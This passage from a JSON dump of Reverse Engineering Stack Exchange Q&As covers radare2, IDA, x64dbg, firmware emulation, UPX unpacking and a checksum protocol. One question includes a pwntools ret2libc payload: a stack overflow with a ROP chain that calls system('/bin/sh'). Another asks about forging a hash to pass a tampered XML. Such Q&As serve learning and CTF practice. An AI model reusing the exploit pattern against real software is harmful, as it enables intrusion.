        "Tags": "|firmware|static-analysis|dynamic-analysis|qemu|emulation|",
        "Answer": "<p>Emulating a complete physical device is always going to be more of an experimental exercise. In this regard you can use <a href=\"https://github.com/firmadyne/firmadyne\" rel=\"noreferrer\">firmadyne</a> which aims to emulate Linux based embedded firmware for MIPS and ARM devices. It's based on the venerable QEMU project. There's also <a href=\"https://github.com/attify/firmware-analysis-toolkit\" rel=\"noreferrer\">firmware analysis toolkit</a> which is a wrapper around firmadyne allowing you to automate some of the tasks.</p>\n\n<p>However firmadyne is not without its pitfalls. Frequently, you will come across various firmware binaries that fail to emulate properly (like no network access) primarily due to the missing hardware in the emulated environment. In such cases manual tweaking may be necessary.</p>\n\n<p>More often than not a full system emulation of the device is not always necessary in order to be able to interact with the web server. We can use binwalk to extract the filesystem and run the web-server using QEMU user mode emulation in a chrooted environment.</p>\n\n<h3>Further read:</h3>\n\n<ul>\n<li><a href=\"https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf\" rel=\"noreferrer\">https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf</a></li>\n<li><a href=\"https://blog.attify.com/getting-started-with-firmware-emulation/\" rel=\"noreferrer\">https://blog.attify.com/getting-started-with-firmware-emulation/</a></li>\n<li><a href=\"https://youtu.be/G0NNBloGIvs\" rel=\"noreferrer\">Firmware emulation with QEMU</a></li>\n</ul>\n"
    },
    {
        "Id": "19782",
        "CreationDate": "2018-11-01T16:36:33.060",
        "Body": "<p>When I run <code>ie</code>, I get multiple addresses.</p>\n\n<pre><code>[0x41417641]&gt; ie\n[Entrypoints]\nvaddr=0x080483d0 paddr=0x000003d0 baddr=0x08048000 laddr=0x00000000 haddr=0x00000018 hvaddr=0x08048018 type=program\n</code></pre>\n\n<p>What does baddr, laddr, haddr, and hvaddr refer to? When I run <code>ieq</code> for <code>[q]uite</code>, I get the <code>vaddr</code>. What's the difference between that and the other addresses listed under the entry point?</p>\n",
        "Title": "What does paddr, baddr, laddr, haddr, and hvaddr refer to?",
        "Tags": "|radare2|",
        "Answer": "<p>Most of the time, you would not need any of these except the <code>vaddr</code> and the <code>paddr</code>. Since thoroughly explaining each of these names would take too much time, I'll share here the short meaning of each of these keywords. Most of them should be easy to understand.</p>\n\n<ul>\n<li>vaddr -  Virtual Address</li>\n<li>paddr -  Physical Address</li>\n<li>laddr -  Load Address</li>\n<li>baddr -  Base Address</li>\n<li>haddr -  e_entry\\AddressOfEntryPoint in binary header</li>\n<li>hvaddr - Header Physical Address</li>\n<li>hpaddr - e_entry\\AddressOfEntryPoint offset in binary header</li>\n</ul>\n"
    },
    {
        "Id": "19784",
        "CreationDate": "2018-11-01T17:44:28.203",
        "Body": "<p>When I run <code>pwntools</code>, I'm getting</p>\n\n<pre><code>[+] Here comes the shell!\n[*] Switching to interactive mode\n[*] Got EOF while reading in interactive\n$  \n</code></pre>\n\n<p>Why is it getting <code>EOF</code>? Where should I start looking for the problem, currently my second payload is</p>\n\n<pre><code># Build 2nd payload\npayload2  =  b'A'*140\nropchain2 =  p32(system_addr)\nropchain2 += p32(exit_addr)\n# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)\n#           Thus you'll execute system(\"sh\")\nropchain2 += p32(binsh_addr) \n\npayload2 = payload2 + ropchain2            \np.sendline(payload2)                       \n\nlog.success(\"Here comes the shell!\")       \n\np.clean()                                  \np.interactive()                            \n</code></pre>\n\n<p>This is adapted from the <a href=\"https://www.megabeets.net/a-journey-into-radare-2-part-2/\" rel=\"nofollow noreferrer\">Megabeets example</a> with the <a href=\"https://reverseengineering.stackexchange.com/a/19778/22669\">modification given here</a></p>\n\n<p>If I <code>print(payload2)</code>, I get</p>\n\n<pre><code>b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x00\\xe2\\xdd\\xf7\\xd0\\x13\\xdd\\xf7\\xcf\\xf0\\xf1\\xf7'\n</code></pre>\n\n<p>Which seems correct. The values I used to generate the payload are,</p>\n\n<pre><code># Addresses                        \nputs_plt    = 0x08048390           \nputs_got    = 0x0804a014           \nentry_point = 0x080483d0           \n\n# Offsets                          \noffset_puts       = 0x00067b40     \noffset_system     = 0x0003d200     \noffset_exit       = 0x000303d0     \noffset_str_bin_sh = 0x17e0cf     \n</code></pre>\n",
        "Title": "Pwntools shows, \"Got EOF while reading in interactive\"?",
        "Tags": "|pwntools|",
        "Answer": "<p>Alright. So the issue here was I think that Radare was addressing libc based on a version on disk. And, the version in memory was different.</p>\n\n<p>Anyway, I <strong>restarted</strong> the computer and redid the offset math and it worked!</p>\n"
    },
    {
        "Id": "19789",
        "CreationDate": "2018-11-02T00:37:38.333",
        "Body": "<p>Radare2 seems to have thousands of commands. Is there a way to search all of those commands?</p>\n\n<p>Like let's say I want to find all commands that had <code>rot</code> (for <a href=\"https://en.wikipedia.org/wiki/ROT13\" rel=\"nofollow noreferrer\"><code>rot13</code></a>), is there a method to do this?</p>\n",
        "Title": "Can I search Radare's help system?",
        "Tags": "|radare2|documentation|",
        "Answer": "<p>You can use <code>?*~...</code> to do interactive search in all help commands:</p>\n\n<p><a href=\"https://i.stack.imgur.com/jw6Eu.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/jw6Eu.gif\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "19793",
        "CreationDate": "2018-11-02T07:23:59.137",
        "Body": "<p>Any person can give some examples or resources about how to use IDA Pro debug Android Application? </p>\n",
        "Title": "How to use IDA Pro debug Android Application?",
        "Tags": "|android|",
        "Answer": "<p>(Although IDA lets you reverse <code>.class</code> files, there are tools that convert the Java byte code back to source code and are preferred for this)<br>\nIt's pretty common nowadays to compile libraries and use <a href=\"https://developer.android.com/ndk/\" rel=\"noreferrer\">NDK</a> to develop a part of your app in C/C++.</p>\n\n<p>Those parts will be compiled to an <code>.so</code> files, which can be invoked using the java code.<br>\nYou can reverse those files, they should even contain some symbols in a form of <code>package_classname_method</code> to know who can invoke them.<br>\nOther than that, I don't think ida can offer something to reverse android apps.<br>\nThe point is - Ida is not a general app reversing tool, it has a specific use.</p>\n\n<p>That being said, here are examples: </p>\n\n<ul>\n<li><a href=\"http://www.hexblog.com/?p=809\" rel=\"noreferrer\">IDA Dalvik debugger: tips and tricks</a>  </li>\n<li><a href=\"https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05c-Reverse-Engineering-and-Tampering.md#ida-pro\" rel=\"noreferrer\">Reverse-Engineering-and-Tampering</a>  </li>\n<li><a href=\"https://resources.infosecinstitute.com/guide-debugging-android-binaries/#gref\" rel=\"noreferrer\">Remote debugging using IDA Pro</a></li>\n</ul>\n"
    },
    {
        "Id": "19796",
        "CreationDate": "2018-11-02T14:20:25.680",
        "Body": "<p>I am doing a challenge for a CTF and I have to reverse an encryption scheme to find a flag. However it would be easier to just try all inputs but they are too much.</p>\n\n<p>There is an instruction that when reached means we have guessed the current letter. How can I check in a script if that breakpoint is reached before the program ends and how much times.</p>\n\n<p>I have tried using the gdb python interface but i find it not very well documented. I have tried frida but i cannot hook to an address but to a function. And r2pipe cannot send text to stdin easily.</p>\n",
        "Title": "Check if instruction is reached",
        "Tags": "|disassembly|hooking|",
        "Answer": "<p>You can start gdb and initialize it with a python script using <code>-x</code> command line flag. This can be launched using <code>subprocess</code> in another python instance. This can give you a way to bruteforce.</p>\n\n<p>Some code. The driver file <code>driver.py</code></p>\n\n<pre><code>import subprocess\nimport sys\nrax = sys.argv[1]\nd = subprocess.Popen(\"gdb -q -ex 'py rax = \" + str(rax) + \"' -x ./gdb_attach.py \", shell=True, stdout=subprocess.PIPE).stdout.read().strip()\nprint \"Breakpoint hit ::: \", \"HIT\" in d\nprint d\n</code></pre>\n\n<p>Python script evaluated in gdb <code>gdb_attach.py</code> with some predefined example offsets. Note that my gdb was built with python3 support.</p>\n\n<pre><code>import gdb\n\nclass MyBreakpoint(gdb.Breakpoint):\n    def stop (self):\n        print(\"HIT\")\n        return True\n\ngdb.execute('file ./x')\n# gdb.execute(\"set environment LD_PRELOAD /home/sudhakar/tools/preeny/x86_64-linux-gnu/desleep.so\")\nMyBreakpoint(\"*0x40050b\")\ngdb.execute(\"run\")\ngdb.execute('set $rax=0x%x' % rax)\ngdb.execute(\"continue\")\ngdb.execute('quit')\n</code></pre>\n\n<p>The binary is a simple yes/no check.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint dum(){\n    return 0;\n    }\nint main(int argc, char **argv)\n{\n    if(dum()) puts(\"Yeaa!\");\n    else puts(\"No!\");\n    return 0;\n}\n</code></pre>\n\n<p>The offsets look like this.</p>\n\n<pre><code>[0x00400400]&gt; pdf @ main\n\u250c (fcn) main 58\n\u2502   main (int argc, char **argv, char **envp);\n\u2502           ; var char **local_10h @ rbp-0x10\n\u2502           ; var int local_4h @ rbp-0x4\n\u2502           ; arg int argc @ rdi\n\u2502           ; arg char **argv @ rsi\n\u2502           ; DATA XREF from entry0 (0x40041d)\n\u2502           0x004004f2      55             push rbp\n\u2502           0x004004f3      4889e5         mov rbp, rsp\n\u2502           0x004004f6      4883ec10       sub rsp, 0x10\n\u2502           0x004004fa      897dfc         mov dword [local_4h], edi   ; argc\n\u2502           0x004004fd      488975f0       mov qword [local_10h], rsi  ; argv\n\u2502           0x00400501      b800000000     mov eax, 0\n\u2502           0x00400506      e8dcffffff     call sym.dum\n\u2502           0x0040050b      85c0           test eax, eax\n\u2502       \u250c\u2500&lt; 0x0040050d      740c           je 0x40051b\n\u2502       \u2502   0x0040050f      bfb4054000     mov edi, str.Yeaa           ; 0x4005b4 ; \"Yeaa!\" ; const char *s\n\u2502       \u2502   0x00400514      e8d7feffff     call sym.imp.puts           ; int puts(const char *s)\n\u2502      \u250c\u2500\u2500&lt; 0x00400519      eb0a           jmp 0x400525\n\u2502      \u2502\u2502   ; CODE XREF from main (0x40050d)\n\u2502      \u2502\u2514\u2500&gt; 0x0040051b      bfba054000     mov edi, 0x4005ba           ; const char *s\n\u2502      \u2502    0x00400520      e8cbfeffff     call sym.imp.puts           ; int puts(const char *s)\n\u2502      \u2502    ; CODE XREF from main (0x400519)\n\u2502      \u2514\u2500\u2500&gt; 0x00400525      b800000000     mov eax, 0\n\u2502           0x0040052a      c9             leave\n\u2514           0x0040052b      c3             ret\n</code></pre>\n\n<p>The driver file launches a gdb instance with <code>gdb_attach.py</code>. Additional python variables can be passed using <code>-ex</code> flag. <code>gdb_attach.py</code> sets a breakpoint at an offset and changes some value. You can print values when a bp is hit and parse them in the main driver script. This is quite hackish but it does the job.</p>\n\n<p>Here's how it looks</p>\n\n<pre><code>$ python driver.py 0\nBreakpoint hit ::: True\nBreakpoint 1 at 0x40050b\nHIT\nBreakpoint 1, 0x000000000040050b in main ()\nNo!\n[Inferior 1 (process 3874) exited normally]\n$ python driver.py 1\nBreakpoint hit ::: True\nBreakpoint 1 at 0x40050b\nHIT\nBreakpoint 1, 0x000000000040050b in main ()\nYeaa!\n[Inferior 1 (process 3947) exited normally]\n</code></pre>\n\n<p>See how I was able to print/detect hit breakpoints and change the flow of the binary using another python script. Hope this helps.</p>\n"
    },
    {
        "Id": "19803",
        "CreationDate": "2018-11-02T20:34:18.337",
        "Body": "<p>A Java application verifies that an XML string that came from a clearnet server (no  SSL) has not been tampered, using a message digest. It does so with a public key stored locally, accessed with the variable <code>pk_enc</code> </p>\n\n<p>The application asks an external server for 2 strings: the XML and a hash (both encoded base64):</p>\n\n<pre><code>String xml_enc = // ...\nString hashStr_enc = // ...\n</code></pre>\n\n<p>The application then decodes from base64:</p>\n\n<pre><code>String xml = new String(Base64.decode(xml_enc));\nbyte[] hashStr = Base64.decode(hashStr_enc);\n</code></pre>\n\n<p>In <code>xml</code> we now have a readable XML string and in <code>hashStr_dec</code> a bunch of unreadable characters.</p>\n\n<p>It then verifies that the result of these 2 functions are equal:</p>\n\n<pre><code>public String createMD5hashForResponseXMLDocument(String xml) {\n    try {\n        byte[] e = xml.getBytes();\n        MessageDigest algorithm = MessageDigest.getInstance(\"MD5\");\n        algorithm.reset();\n        algorithm.update(e);\n        byte[] messageDigest = algorithm.digest();\n        StringBuffer hexString = new StringBuffer();\n\n        for (int i = 0; i &lt; messageDigest.length; ++i) {\n            hexString.append(Integer.toString((messageDigest[i] &amp; 255) + 256, 16).substring(1));\n        }\n\n        return hexString.toString();\n    } catch (Exception e) {\n        e.printStackTrace();\n        return \"\";\n    }\n}\n</code></pre>\n\n<p>and</p>\n\n<pre><code>public String decryptRSAcipherUsedForSigning(String pk_enc, byte[] hashStr) {\n    try {\n\n        X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));\n        KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n        RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);\n        Cipher cipher = Cipher.getInstance(\"RSA/ECB/PKCS1PADDING\");\n        cipher.init(2, RSApublicKey);\n        byte[] MD5hash = cipher.doFinal(hashStr);\n        return new String(MD5hash);\n\n    } catch (Exception e) {\n        e.printStackTrace();\n        return \"\";\n    }\n}\n</code></pre>\n\n<p>Everything works as long as you don't touch the XML, and the result of the 2 functions computes as equal.</p>\n\n<hr>\n\n<p>I would now like to modify the XML and compute the hash correctly (the reverse of what happens above). Given that I have <code>pk_enc</code> it shouldn't be impossible.</p>\n\n<p>How can I do that? Here's what I've tried. For simplicity sake, I used the same XML as the original.</p>\n\n<p>First, I fed the unencoded XML to <code>createMD5hashForResponseXMLDocument</code>:</p>\n\n<pre><code>String xml_md5 = createMD5hashForResponseXMLDocument(my_xml_string);\n</code></pre>\n\n<p>Then I run this function. It's the same as <code>decryptRSAcipherUsedForSigning</code> but I changed <code>cipher.init(2, RSApublicKey);</code> to <code>cipher.init(1, RSApublicKey);</code></p>\n\n<pre><code>public byte[] encryptHash(String pk_enc, String xml_m5d) {\n        try {\n            X509EncodedKeySpec e = new X509EncodedKeySpec(decodeBASE64(pk_enc));\n            KeyFactory keyFactory = KeyFactory.getInstance(\"RSA\");\n            RSAPublicKey RSApublicKey = (RSAPublicKey) keyFactory.generatePublic(e);\n            Cipher cipher = Cipher.getInstance(\"RSA/ECB/PKCS1PADDING\");\n            cipher.init(1, RSApublicKey);\n            byte[] result = cipher.doFinal(xml_m5d.getBytes());\n            return result;\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            return \"\".getBytes();\n        }\n    }\n</code></pre>\n\n<p>This is not working: provided with the same XML I've started with, it does not produce the same result. Furthermore, if I try to to feed it back to <code>decryptRSAcipherUsedForSigning</code> I get this error:</p>\n\n<pre><code>javax.crypto.BadPaddingException: Decryption error\n    at sun.security.rsa.RSAPadding.unpadV15(Unknown Source)\n    at sun.security.rsa.RSAPadding.unpad(Unknown Source)\n    at com.sun.crypto.provider.RSACipher.doFinal(RSACipher.java:356)\n    at com.sun.crypto.provider.RSACipher.engineDoFinal(RSACipher.java:389)\n    at javax.crypto.Cipher.doFinal(Cipher.java:2164)\n    at com.test.test.MainTest.decryptRSAcipherUsedForSigning(MainTest.java:112)\n    at com.test.test.MainTest.Execute(MainTest.java:59)\n    at com.test.test.test.main(test.java:13)\n</code></pre>\n\n<p>Please note I'm aware of the difference between String and byte[] and I've been careful to not switch inappropriately between the twos. Although I do not exclude that might be the problem, it should be ok.</p>\n",
        "Title": "Reversing a Java digest function, with known public key and source code",
        "Tags": "|encryption|java|",
        "Answer": "<p>This is impossible to do as long as I don't have the corresponding private key of <code>pk_enc</code>.</p>\n\n<p>Decrypting with a public key means verifying: I didn't know that, saw a public key used for decryption and jumped to the wrong conclusion that it was sufficient to encrypt back the data.</p>\n\n<p>It is not.</p>\n"
    },
    {
        "Id": "19807",
        "CreationDate": "2018-11-03T09:40:31.393",
        "Body": "<p>Using an hardware breakpoint, I found with Ollydbg that a crackme was checking for the isDebuggerPresent flag. I'd like to find this part of the code using IDA now.</p>\n\n<p>I first looked in the import table, but couldn't find the function in the list and came to the conclusion that the crackme was doing it directly instead of using kernel32.dll. Then I tried to use the \"sequence of bytes\" search in IDA, using the bytes in OllyDbg's hex dump view corresponding to <code>MOV EAX,DWORD PTR FS:[30]</code> (64 A1 30 00 00 00), no chance here.</p>\n\n<p>I must be missing something very obvious here, this is the most basic anti-debugging technique so there must be a simple way to locate it using IDA, right?</p>\n\n<p>Edit: Screenshot in Ollydbg\n<a href=\"https://i.stack.imgur.com/6Z32t.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6Z32t.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Edit: Where the check actually happens\n<a href=\"https://i.stack.imgur.com/ynlzA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ynlzA.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Searching for a sequence of bytes in IDA",
        "Tags": "|ida|anti-debugging|",
        "Answer": "<p>Of course you can't find it in the crackme, because the code isn't there. It's easy to determine which file the code belongs to:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OdilY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OdilY.png\" alt=\"Title bar with module name\"></a></p>\n\n<p>It's <code>KERNELBA</code>, so it probably comes from a system dll (<code>KERNELBASE.dll</code>?). We expect to find code in module named <code>crackme4</code> or similar.</p>\n\n<p>Looking at the stack, it's easy to find the address:</p>\n\n<p><a href=\"https://i.stack.imgur.com/u20XV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/u20XV.png\" alt=\"Image of stack\"></a></p>\n\n<p>That one is not prefixed with <code>&lt;system_module_name&gt;.</code>, so I guess it's code from the crackme.</p>\n\n<p>In case the stack is corrupted, it's possible to use <kbd>Alt</kbd>+<kbd>F9</kbd> (execute until user code).</p>\n\n<hr>\n\n<p>About finding the corresponding address in IDA, it's described at <a href=\"https://reverseengineering.stackexchange.com/q/1833/25171\">this question</a>:</p>\n\n<blockquote>\n  <p>If only the base is changed, but offsets are constant <em>[...]</em>, you can just rebase the program in IDA. You can do so by edit->segments->Rebase program ... menu. Specifying the same starting base in IDA as is in Olly should help.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n  <p><code>Base_Address_in_OllyDbg</code>: The base address of the target module in OllyDbg. You can find this value by pressing <em>Alt-E</em> in OllyDbg (or by going to <em>View --> Executable modules</em> in OllyDbg's menu bar). Find your target module in the <em>Executable modules</em> window; the leftmost field (<em>Base</em>) is the <code>Base_Address_in_OllyDbg</code>.</p>\n</blockquote>\n"
    },
    {
        "Id": "19811",
        "CreationDate": "2018-11-04T03:27:47.523",
        "Body": "<p>I have an obsolete control system that I am trying to write an interface into our new control system. I have spent weeks capturing data and figuring out the  addressing, polling commands, point addressing and payload. I have everything figured out except on how to calculate the checksum on the packets. Below is a small sample of the data - I believe the first 2 bytes are the checksum, bytes 3/4 - address, bytes 5/6 - command, remaining bytes are the payload:</p>\n\n<pre><code>0e00 0801 1280 //to controller\n\n0e20 //from controller\n\n0e10 0801 1200 8010d00d9b0a19120a27375f01010412071f0e0a0512aa10495349474854000000000000000000000000000000000000000000001400ff0e0e00000000 //from controller\n\n0e40 //to controller\n\n0f00 0801 1285 //to controller\n\n0f20 //from controller\n\n0f10 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller\n\n0f40 //to controller\n\n1000 0801 1285 //to controller\n\n1020 //from controller\n\n1010 0801 1200 0000000000000000000000000000000001010a0512aa105f1400ff //from controller\n</code></pre>\n\n<p>The checksum appears to be out of order when viewing the data captures, but that is the order that it was captured in.</p>\n\n<p>I don't know if it matters or not, but I am writing the interface in Java.</p>\n\n<p>I appreciate any help that can be provided ... many thanks in advance.</p>\n",
        "Title": "How to calculate the checksum algorithm with data captures",
        "Tags": "|hex|protocol|binary-format|",
        "Answer": "<p>The first byte starts as <code>0E</code> is then <code>0F</code> and then <code>10</code>.\nThis looks something like a sequential message id, not part of a checksum.</p>\n\n<p>The second byte has a pattern to it too and, taking into account the message lengths, I'd interpret it as follows -</p>\n\n<pre><code>00 =&gt; request to controller\n20 =&gt; acknowledgement from controller of the request \n10 =&gt; response from controller\n40 =&gt; acknowledgement to controller of the response\n</code></pre>\n"
    },
    {
        "Id": "19816",
        "CreationDate": "2018-11-04T17:05:11.087",
        "Body": "<p>As a first unpacking exercise, I decided to try to unpack the famous UPX (without using upx -d of course). I chose an executable I had somewhere, built from C++ code in debug mode. I packed it using the last version of upx <code>upx algorithm.exe</code> and tested it.</p>\n\n<p>I set a hardware breakpoint after PUSHAD and after I hit it, I dumped the process with OllydumpEx. Finally I used Scylla to rebuild the IAT.</p>\n\n<p>There was no error during the whole process but my fixed dump terminate with a Segmentation Fault. What would you do to investigate what went wrong?</p>\n\n<p>This picture shows the disassembly windows where I paused to dump, and the options used during the process.\n<a href=\"https://i.stack.imgur.com/uQAQR.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uQAQR.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Edit:</p>\n\n<p>I just checked in the process memory and the IAT VA and size found b Scylla seem to be correct.</p>\n",
        "Title": "Manually unpacking upx",
        "Tags": "|unpacking|dumping|upx|",
        "Answer": "<p>You said that the base address changes so I assume your system and target executable have ASLR enabled. This sometimes causes problems when unpacking due to relocations not being fixed.</p>\n\n<p>Easiest solution is to disable ASLR and then unpack. If you want to disable ASLR on the packed executable, edit the <code>IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE</code> flag of the DLL Characteristics field using a PE editor of your choice. Another option is to disable ASLR on the system which is not recommended.</p>\n"
    },
    {
        "Id": "19828",
        "CreationDate": "2018-11-06T05:23:24.637",
        "Body": "<p>This question might sound very naive, however, I got stuck when one of my friends asked me where can I find the address of an initialized register in the stack.</p>\n\n<p>For e.g., <code>info registers</code> in gdb gives us a list of registers and their corresponding values which are basically stored into it.</p>\n\n<p>Is there any command or way in which I could find the addresses where the registers are actually located? If yes could someone please direct me towards it.</p>\n\n<p>I am glad my friend asked me this question since it was something which I didn't notice earlier because there had not been a time where there was any need of the address where the registers are located.</p>\n",
        "Title": "Where to find address of registers populated in a binary",
        "Tags": "|debugging|x86|",
        "Answer": "<p>Thanks, @0xC0000022L and @Pawe\u0142 \u0141ukasik.</p>\n\n<p>I got the answer, as you guys pointed out that, registers are on CPU and not in the stack. Which states that it is usually stored in memory and not on the stack.</p>\n\n<p>It was a doubt and I am glad that I got a clarification. Thus would like to post it as an answer.</p>\n"
    },
    {
        "Id": "19836",
        "CreationDate": "2018-11-07T08:02:58.193",
        "Body": "<p>Let's say I want to find out how many instructions an arbitrary function <code>foo</code> decodes to, is there an easy way to do this?</p>\n\n<p>I'm trying to check against a version I am compiling with a stored binary on the system. It takes more work than I'd like to spend to test to see if the binary has changed as I muck with the compile options. I'm trying to optimize for fewer instructions.</p>\n",
        "Title": "Is there a way to get an instruction count with Radare2?",
        "Tags": "|radare2|",
        "Answer": "<p>Well, it is not the exactly what you are asking, but could be useful for those, how are looking how to get <code>instructions number for the function</code> from <code>radare2</code>. When you are using <code>r2pipe</code> (a python API for radare2), you may execute radare2 commands &quot;aaa&quot; and &quot;aflj&quot; to get details for every function (including number of instructions). I suppose, these commands are available in radare2 cli, without API calls.</p>\n"
    },
    {
        "Id": "19843",
        "CreationDate": "2018-11-07T17:10:41.577",
        "Body": "<p>I am trying to get the byte size of all operands in a given instruction from IDA Pro. At first I tried using <code>GetOperandValue(ea,n)</code> to see how large the value was and calculate how many bytes were necessary to store that value, but it doesn't return leading zeros, which means that it doesn't work.</p>\n\n<p>Now I am trying to use <code>OpHex(ea,n)</code> to get the answer,  but it's just returning <code>True</code> (as do <code>OpDecimal</code>, <code>OpBinary</code>, and <code>OpOctal</code>).</p>\n\n<p>How can I find the number of bytes used for operands of a particular instruction and why is <code>OpHex</code> returning true?</p>\n\n<p><strong>Edit:</strong> My current solution works, but I would still like one that is more technically correct and bulletproof. Right now I am just using <code>GetOperandValue(ea, op)</code> to get both operands for all instructions (even if they have neither or only one) and then checking to make sure the operand value is greater than <code>FF</code>. If It's greater than <code>FF</code> I just assume it is an address, which in this case is four bytes. If both operands meet this condition, I assign the size to be eight bytes.</p>\n\n<p>This works for the moment, but will encounter difficulties in eventual moves to other architectures (right now I'm just working with x86-64).</p>\n",
        "Title": "How can I get the byte size of an operand in IDA Pro?",
        "Tags": "|ida|idapython|elf|",
        "Answer": "<p>Module <code>ida_ua</code> now contains a function <code>get_dtype_size</code>, which seems to implement @WHsT's answer.</p>\n<p>Assuming you have an instruction i, you can use it e.g. like this:</p>\n<p><code>ida_ua.get_dtype_size(i.Op1.dtype))</code></p>\n"
    },
    {
        "Id": "19847",
        "CreationDate": "2018-11-08T01:50:18.040",
        "Body": "<p>We know that x64dbg will mark the changes as red color after we step an assembly instruction, so how can I get all changes without scroll monitor windows?</p>\n\n<p>x64dbg 32bit version trace:\n<a href=\"https://i.stack.imgur.com/H3Qd1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/H3Qd1.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>NEW UPDATE</strong></p>\n\n<p>x32dbg only display one change for memory when calls a function which modify at least 16 bytes:</p>\n\n<p>Source code:</p>\n\n<p><a href=\"https://i.stack.imgur.com/cyTFI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cyTFI.png\" alt=\"enter image description here\"></a></p>\n\n<p>x32dbg CPU monitor:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TDDKJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TDDKJ.png\" alt=\"enter image description here\"></a></p>\n\n<p>x32dbg Trace monitor:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tuaus.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tuaus.png\" alt=\"enter image description here\"></a></p>\n\n<p>The function <em>testmem.test</em> should have 4 bytes changes, how to get those changes?</p>\n",
        "Title": "x64dbg how to watch all changes after one step",
        "Tags": "|debuggers|x64dbg|",
        "Answer": "<p>Based on the code screenshot you posted it appears you are looking for differences between two memory snap shots. That is you want to know what all changed in the process address space after you step over the call to <code>test.test()</code>.  </p>\n\n<p>I hope you understand anything can change anywhere when you step over a single unknown arbitrary function over the whole process memory.    </p>\n\n<p>For example,</p>\n\n<ol>\n<li><p>A global variable may be modified  which would normally reside in the writable section of a binary.   </p></li>\n<li><p>Stack contents may be modified. </p></li>\n<li><p>A third / nth module/s  may be loaded and  whole blocks of memory may be added which didn't exist prior to executing the function. </p></li>\n</ol>\n\n<p>etc ..... etc ....  </p>\n\n<p>You can't reliably look for what changed between one single step of a function.   </p>\n\n<p>x64dbg on the trace window provides you what changed on each execution,  you have to scroll and look what changed for each instruction.   </p>\n\n<p>Or, if you can limit your lookup to a certain memory range you can dump the memory to a file and diff them.   </p>\n\n<p>x64dbg provides you one command to save a block of memory  </p>\n\n<pre><code>savedata :memdump: , 0x400000 , 0x1000  \n</code></pre>\n\n<p>or for that matter all debugger will provide you a mechanism to dump raw data at some address of some size to a file. </p>\n\n<pre><code>windbg .writemem \nida makesnapshot\nollydbg binary -&gt; backup  or dump in memory map gui\nx64dbg savedata (scriptcommand) or dumpmem in GUI memory map\n</code></pre>\n\n<p>You can use a hexeditor like hxd to byte compare two dumps for looking at all changes to a certain region of memory.</p>\n\n<p>As a real world example you can set a breakpoint as you have set in the specific code on the screenshot. Dump two snapshots one prior to step and one after step</p>\n\n<p>What was dumped </p>\n\n<pre><code>Address=0024D000 \nSize=00003000 \nPage Information=Thread 3F8 Stack \nAllocation Type=PRV \nCurrent Protection=-RW-G \nAllocation Protection=-RW-- \n</code></pre>\n\n<p>dumped prior and renamed the dumpfile</p>\n\n<pre><code>0024D000[3000] written to \"xxx\\pre\" !\n</code></pre>\n\n<p>single stepped</p>\n\n<pre><code>INT3 breakpoint at test.01071076 (01071076)!\n</code></pre>\n\n<p>dumped post and renamed the dumpfile</p>\n\n<pre><code>0024D000[3000] written to \"xxx\\post\" !\n</code></pre>\n\n<p>notice all the changes viz 1111,2222,3333</p>\n\n<pre><code>:\\&gt;ls -lg\ntotal 24\n-rw-rw-rw-  1 0 12288 2018-11-21 03:02 post.bin\n-rw-rw-rw-  1 0 12288 2018-11-21 03:01 pre.bin\n\n:\\&gt;fc /b pre.bin post.bin\nComparing files pre.bin and POST.BIN\n00002D68: 6A 76\n00002D70: 0B 00\n00002D71: E1 00\n00002D72: 08 00\n00002D73: 01 00\n00002D74: 00 11\n00002D75: 00 11\n00002D78: 00 22\n00002D79: 00 22\n00002D7C: 20 33\n00002D7D: E1 33\n00002D7E: 08 00\n00002D7F: 01 00\n\n\n:\\&gt;xxd -g4 -s 0x2d68 -l 0x20 pre.bin\n0002d68: 6a100701 70fd2400 0be10801 00000000  j...p.$.........\n0002d78: 00000000 20e10801 04e08442 ccfd2400  .... ......B..$.\n\n:\\&gt;xxd -g4 -s 0x2d68 -l 0x20 post.bin\n0002d68: 76100701 70fd2400 00000000 11110000  v...p.$.........\n0002d78: 22220000 33330000 04e08442 ccfd2400  \"\"..33.....B..$.\n</code></pre>\n"
    },
    {
        "Id": "19848",
        "CreationDate": "2018-11-08T06:21:40.887",
